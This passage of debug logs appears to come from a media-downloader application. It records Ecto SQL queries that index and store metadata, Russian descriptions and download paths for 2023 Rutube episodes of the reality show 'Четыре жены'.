творец и любовница", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, 6, ~U[2023-06-01 14:40:10Z]] 20:59:21.799 [debug] QUERY OK source="sources" db=6.4ms queue=0.1ms idle=46.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.800 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=38.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-08 14:40:04Z], 6] 20:59:21.846 [debug] QUERY OK source="media_items" db=45.0ms idle=38.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "af892031-40a5-4fc2-88f8-ce76f224bd6f", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", 3, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-08 14:40:04Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, 6, ~U[2023-06-08 14:40:04Z]] 20:59:21.858 [debug] QUERY OK source="sources" db=11.5ms idle=84.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.859 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=67.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:15Z], 6] 20:59:21.951 [debug] QUERY OK source="media_items" db=91.5ms idle=60.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "fe997b91-01d6-4851-9e23-f79d45b43141", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", 4, "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, false, false, 6, [], 1, ~U[2023-06-15 14:20:15Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, 6, ~U[2023-06-15 14:20:15Z]] 20:59:21.963 [debug] QUERY OK source="sources" db=11.2ms idle=151.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.964 [debug] QUERY OK source="media_items" db=0.8ms idle=118.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:56Z], 6] 20:59:22.053 [debug] QUERY OK source="media_items" db=87.7ms idle=106.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "65fa7252-4f53-43c0-8977-9da921c752e7", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", 5, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, false, false, 6, [], 1, ~U[2023-06-22 14:41:56Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, 6, ~U[2023-06-22 14:41:56Z]] 20:59:22.068 [debug] QUERY OK source="sources" db=14.1ms idle=194.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.069 [debug] QUERY OK source="media_items" db=0.5ms idle=116.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 14:40:07Z], 6] 20:59:22.089 [debug] QUERY OK source="media_items" db=19.2ms queue=0.3ms idle=105.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "b7e6c168-1a02-41ac-822b-84d45bae30ed", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", 6, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-29 14:40:07Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, 6, ~U[2023-06-29 14:40:07Z]] 20:59:22.101 [debug] QUERY OK source="sources" db=11.3ms queue=0.1ms idle=124.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.102 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=48.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:20:17Z], 6] 20:59:22.118 [debug] QUERY OK source="media_items" db=15.0ms idle=34.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "58ab9a0c-2b3e-447a-b01c-ed8a147827ac", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", 7, "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, false, false, 6, [], 1, ~U[2023-07-06 14:20:17Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, 6, ~U[2023-07-06 14:20:17Z]] 20:59:22.132 [debug] QUERY OK source="sources" db=13.2ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.133 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=43.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 15:00:10Z], 6] 20:59:22.165 [debug] QUERY OK source="media_items" db=31.0ms idle=32.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "95d8182e-c5da-4705-9ff7-4a277268a9ec", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", 8, "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, false, false, 6, [], 1, ~U[2023-07-13 15:00:10Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, 6, ~U[2023-07-13 15:00:10Z]] 20:59:22.180 [debug] QUERY OK source="sources" db=14.3ms queue=0.1ms idle=63.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.182 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=62.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 14:40:05Z], 6] 20:59:22.207 [debug] QUERY OK source="media_items" db=24.4ms idle=50.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "1d96293e-e417-4b33-8b44-bfeb15a80d5d", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", 9, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, false, false, 6, [], 1, ~U[2023-07-20 14:40:05Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, 6, ~U[2023-07-20 14:40:05Z]] 20:59:22.217 [debug] QUERY OK source="sources" db=8.6ms queue=0.1ms idle=75.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.218 [debug] QUERY OK source="media_items" db=0.3ms idle=52.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 15:00:10Z], 6] 20:59:22.232 [debug] QUERY OK source="media_items" db=12.9ms idle=38.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "e5db7b75-c162-460d-8373-0c853f864f29", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", 10, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, false, false, 6, [], 1, ~U[2023-07-27 15:00:10Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, 6, ~U[2023-07-27 15:00:10Z]] 20:59:22.243 [debug] QUERY OK source="sources" db=10.4ms idle=50.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.244 [debug] QUERY OK source="media_items" db=0.6ms idle=36.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 15:00:10Z], 6] 20:59:22.310 [debug] QUERY OK source="media_items" db=65.7ms idle=26.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "ec111f01-5441-418f-a6cc-6c812420cf0c", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", 11, "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, false, false, 6, [], 1, ~U[2023-08-03 15:00:10Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре 